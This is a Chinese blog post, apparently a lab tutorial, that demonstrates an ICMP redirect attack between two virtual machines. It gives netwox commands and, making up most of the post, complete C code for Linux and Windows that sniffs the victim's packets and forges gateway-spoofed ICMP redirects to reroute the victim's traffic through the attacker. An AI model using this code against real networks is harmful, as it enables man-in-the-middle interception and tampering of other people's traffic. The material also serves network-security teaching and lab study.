zoukankan      html  css  js  c++  java
  • ICMP重定向 Redirect netwox libpcap netwag

    搭建环境
    两台虚拟机。
    攻击者:192.168.1.8
    被攻击者:192.168.1.9
    1
    网络配置
    2
    主机均采用DHCP
    如果没有路由器,可以使用NAT模式来做

    攻击者配置
    打开转发数据包功能

    # sudo sysctl net.ipv4.ip_forward=1
    

    安装攻击软件netwox

    # sudo apt-get install netwox
    

    被攻击者配置
    安装抓包软件Wireshark

    # sudo apt-get install wireshark
    

    注意:启动时,也要用root权限

    开始攻击

    # sudo netwox 86 -d "eth0" -g "192.168.1.8" -i "192.168.1.1"
    

    -g:攻击者IP
    -i:默认网关IP
    3
    查看攻击状态
    攻击者伪造默认网关192.168.1.1发送重定向数据包,欺骗192.168.1.9向新的网关192.168.1.8转发数据包
    4
    被攻击者路由跟踪
    5
    linux攻击

    #include <pcap.h>
    #include <time.h>
    #include <stdlib.h>
    #include <stdio.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <sys/types.h>          /* See NOTES */
    #include <sys/socket.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <unistd.h>
    
    #define MAX 1024
    #define SIZE_ETHERNET 14
    
    #define ICMP_ECHOREPLY      0   /* Echo Reply           */
    #define ICMP_DEST_UNREACH   3   /* Destination Unreachable  */
    #define ICMP_SOURCE_QUENCH  4   /* Source Quench        */
    #define ICMP_REDIRECT       5   /* Redirect (change route)  */
    #define ICMP_ECHO       8   /* Echo Request         */
    #define ICMP_TIME_EXCEEDED  11  /* Time Exceeded        */
    #define ICMP_PARAMETERPROB  12  /* Parameter Problem        */
    #define ICMP_TIMESTAMP      13  /* Timestamp Request        */
    #define ICMP_TIMESTAMPREPLY 14  /* Timestamp Reply      */
    #define ICMP_INFO_REQUEST   15  /* Information Request      */
    #define ICMP_INFO_REPLY     16  /* Information Reply        */
    #define ICMP_ADDRESS        17  /* Address Mask Request     */
    #define ICMP_ADDRESSREPLY   18  /* Address Mask Reply       */
    #define NR_ICMP_TYPES       18
    
    /* Codes for REDIRECT. */
    #define ICMP_REDIR_NET      0   /* Redirect Net         */
    #define ICMP_REDIR_HOST     1   /* Redirect Host        */
    #define ICMP_REDIR_NETTOS   2   /* Redirect Net for TOS     */
    #define ICMP_REDIR_HOSTTOS  3   /* Redirect Host for TOS    */
    
    const unsigned char *Vic_IP = "192.168.1.9"; //攻击对象的ip
    const unsigned char *Ori_Gw_IP = "192.168.1.1"; //源网关ip。必须要填默认网关IP
    const unsigned char *Redic_IP = "192.168.1.8"; //攻击者ip
    
    int flag = 0;
    
    #define __LITTLE_ENDIAN_BITFIELD
    struct iphdr
    {
    #if defined(__LITTLE_ENDIAN_BITFIELD)
       unsigned char    ihl:4,
    		version:4;
    #else
       unsigned char    version:4,
                    ihl:4;
    #endif
    
       unsigned char tos;
       unsigned short tot_len;
       unsigned short id;
       unsigned short frag_off;
       unsigned char    ttl;
       unsigned char    protocol;
       unsigned short   check;
       unsigned int  saddr;
       unsigned int daddr;
       /*The options start here. */
    };
    
    struct icmphdr
    {
       unsigned char      type;
       unsigned char      code;
       unsigned short   checksum;
       union
       {
          struct
          {
             unsigned short  id;
             unsigned short  sequence;
          } echo;
          unsigned int  gateway;
          struct
          {
             unsigned short  __unused;
             unsigned short  mtu;
          } frag;
       } un;
    };
    
    /*计算校验和*/
    u_int16_t checksum(u_int8_t *buf, int len)
    {
       u_int32_t sum = 0;
       u_int16_t *cbuf;
    
       cbuf = (u_int16_t *)buf;
    
       while(len > 1)
       {
          sum += *cbuf++;
          len -= 2;
       }
    
       if(len)
       {
          sum += *(u_int8_t *)cbuf;
       }
    
       sum = (sum >> 16) + (sum & 0xffff);
       sum += (sum >> 16);
    
       return ~sum;
    }
    
    void ping_redirect(int sockfd, const unsigned char *data, int datalen)
    {
       char buf[MAX], *p;
       int len, i;
       struct packet
       {
          struct iphdr ip;
          struct icmphdr icmp;
          char datas[28];
       } packet;
    
       //手动填充ip头
       packet.ip.version = 4;
       packet.ip.ihl = 5;
       packet.ip.tos = 0; //服务类型
       packet.ip.tot_len = htons(sizeof(packet));
       packet.ip.id = getpid();
       packet.ip.frag_off = 0;
       packet.ip.ttl = 255;
       packet.ip.protocol = IPPROTO_ICMP;
       packet.ip.check = 0;
       packet.ip.saddr = inet_addr(Ori_Gw_IP); //要伪造网关发送ip报文
       packet.ip.daddr = inet_addr(Vic_IP); //将伪造重定向包发给受害者
    
       //手动填充icmp头
       packet.icmp.type = ICMP_REDIRECT;
       packet.icmp.code = ICMP_REDIR_HOST;
       packet.icmp.checksum = 0;
       packet.icmp.un.gateway = inet_addr(Redic_IP);
       struct sockaddr_in dest =
       {
          .sin_family = AF_INET,
          .sin_addr = {
             .s_addr = inet_addr(Vic_IP)
          }
       };
       packet.ip.check = checksum((u_int8_t *)&packet.ip, sizeof(packet.ip));
       
       //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
       memcpy(packet.datas, (data + SIZE_ETHERNET), sizeof(packet.datas)); //包里数据
       packet.icmp.checksum = checksum((u_int8_t *)&packet, sizeof(packet));
       //用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
       //(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
       sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&dest, sizeof(dest));
    
       close(sockfd);
    }
    
    //pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
    void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet)
    {
       int sockfd, res;
       int one = 1;
       int *ptr_one = &one;
    
       printf("len %d
    ", pkthdr->len);
    
       //可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
       //sockfd是socket描述符,为了以后将socket与本机端口相连
       if((sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0)
       {
          printf("create sockfd error
    ");
          exit(-1);
       }
    
       //包装自己的头部
       //发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
       /**
        设置sockfd套接字关联的选 项
        sockfd:指向一个打开的套接口描述字
        IPPROTO_IP:指定选项代码的类型为IPV4套接口
        IP_HDRINCL:详细代码名称(需要访问的选项名字)
        ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
        sizeof(one):指针大小
       */
       res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one));
    
       if(res < 0)
       {
          printf("error--
    ");
          exit(-3);
       }
    
       ping_redirect(sockfd, packet, 0);
    }
    
    int main(int argc, char **argv)
    {
       char errBuf[PCAP_ERRBUF_SIZE], * devStr;
    
       /* get a device */
       devStr = pcap_lookupdev(errBuf);//返回一个合适网络接口的字符串指针,如果出错,则返回errBuf出错字符串,长度为PACP_ERRBUF_SIZE长度
    
       if(devStr)
       {
          printf("success: device: %s
    ", devStr);
       }
       else
       {
          printf("pcap_lookupdev error: %s
    ", errBuf);
          exit(1);
       }
    
       /* open a device, wait until a packet arrives */
       //打开设备进行嗅探,返回一个pcap_t类型的指针,后面操作都要用到这个指针
       pcap_t *device = pcap_open_live(devStr, 65535, 1, 0, errBuf);      //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)
    
       if(device == NULL)
       {
          printf("pcap_open_live error: %s
    ", errBuf);
          return -1;
       }
    
       struct bpf_program filter;
    
       bpf_u_int32 netmask = 0xffffff;
    
       char filterstr[50] = {0};
    
       sprintf(filterstr, "src host %s", Vic_IP);      //将vic_ip按照%s的格式写入filterstr缓冲区
    
       //过滤通信,哪些包是用户可以拿到的
       //表达式被编译,编译完就可使用了
       if(pcap_compile(device, &filter, filterstr, 1, netmask) < 0) //函数返回-1为失败,返回其他值为成功
       {
          printf("pcap_compile error: %s
    ", errBuf);
          return -1;
       }
    
       //device:会话句柄
       //&filterstr:被编译的过滤器版本的地址的引用
       //filterstr:表达式本身,存储在规定的字符串格式里
       //1:表达式是否被优化的整形量:0:没有,1:有
       //0:指定应用此过滤器的网络掩码
       //设置过滤器,使用这个过滤器
       pcap_setfilter(device, &filter);
       //device:会话句柄
       //&filterstr:被编译的表达式版本的引用
       /* wait loop forever */
       int id = 0;
       pcap_loop(device, -1, getPacket, NULL);
       //device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null
    
       return 0;
    }
    

    Windows攻击

    #pragma pack (1)
    typedef struct
    {
    	EthernetHeader ed;
        IPV4_HDR ip;
        ICMPHeader icmp;
        u_char data[28];
    }IcmpPacket;
    #pragma pack ()
    
    void icmpRedirect(const u_char *pktData)
    {
        IcmpPacket packet;
        memset((void *)&packet, 0, sizeof(packet));
    
    	//EthernetHeader
    	memcpy(packet.ed.SourMAC, this->hostInfo->mac, sizeof(packet.ed.SourMAC));
        memcpy(packet.ed.DestMAC, this->destMac, sizeof(packet.ed.DestMAC));
    	packet.ed.EthType = htons(IP_TYPE);
    
        //IP
        packet.ip.ip_version = 4;
    	packet.ip.ip_header_len = 5;
        packet.ip.ip_tos = 0;
        packet.ip.ip_total_length = htons(sizeof(packet) - sizeof(EthernetHeader)); //不包含以太网头
        packet.ip.ip_id=htons(2);
    	packet.ip.ip_frag_offset = 0;
    	packet.ip.ip_frag_offset1 = 0;
    	packet.ip.ip_reserved_zero = 0;
    	packet.ip.ip_dont_fragment = 1;
    	packet.ip.ip_more_fragment = 0;
        packet.ip.ip_ttl = 8;
        packet.ip.ip_protocol = IPPROTO_ICMP;
        packet.ip.ip_checksum = 0;
    
    	packet.ip.ip_srcaddr = inet_addr(this->hostInfo->gatewayIp);//要伪造网关发送ip报文
    	packet.ip.ip_destaddr = inet_addr(this->destIp.toLatin1().data());//将伪造重定向包发给受害者
    	//qDebug() << "packet.ip.saddr" << packet.ip.saddr;
    	//qDebug() << "packet.ip.daddr" << packet.ip.daddr;
    
    	//qDebug() << "sizeof(packet.ip)" << sizeof(packet.ip);
    
        //ICMP
        packet.icmp.type = ICMP_REDIRECT;
        packet.icmp.code = ICMP_REDIR_HOST;
        packet.icmp.checkSum = 0;
    	//qDebug() << "hostInfo->ip" << this->hostInfo->ip;
        u_long nSourceIp = inet_addr(this->hostInfo->ip); //攻击者ip
        packet.icmp.un.gateway = nSourceIp;
    
        //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
        memcpy(packet.data,pktData+ETHERNET_HEAD_LENGTH,sizeof(packet.data));
    
        packet.ip.ip_checksum = pcap.checksum(&packet.ip, sizeof(packet.ip));
        packet.icmp.checkSum = pcap.checksum((u_char*)&packet + sizeof(EthernetHeader), sizeof(packet) - sizeof(EthernetHeader)); //不包含以太网头
    
        //发送
    	if (pcap_sendpacket(this->adhandle,	// Adapter
    							&packet,				// buffer with the packet
    							sizeof(packet)	// size
    							) != 0)
    		{
    			qDebug("
    Error sending the packet: %s
    ", pcap_geterr(this->adhandle));
    			return;
    		}
    }
    

    备注:
    测试过,攻击Windows 2000虚拟机是可以成功的

  • 相关阅读:
    一、javaSE (十三)StringBuffer类、数组高级以及 Arrays类、Integer类、Character类
    一、javaSE (十二)scanner的使用、 String类的概述和使用
    一、javaSE (十一)objest类
    一、javaSE (十)形参和返回值、包、导包、权限修饰符、常见修饰符、内部类
    一、javaSE (九)final、多态、抽象类、接口
    一、javaSE (八)类的继承、方法重写
    一、javaSE (七)类的封装、关键字
    JBOSS7搭载EJB3之消息驱动Bean
    JBOSS7搭载EJB3之实体Bean
    jboss7搭载EJB3之简单会话BEAN与依赖注入jboss数据源
  • 原文地址:https://www.cnblogs.com/zhangxuechao/p/11709297.html
Copyright © 2011-2022 走看看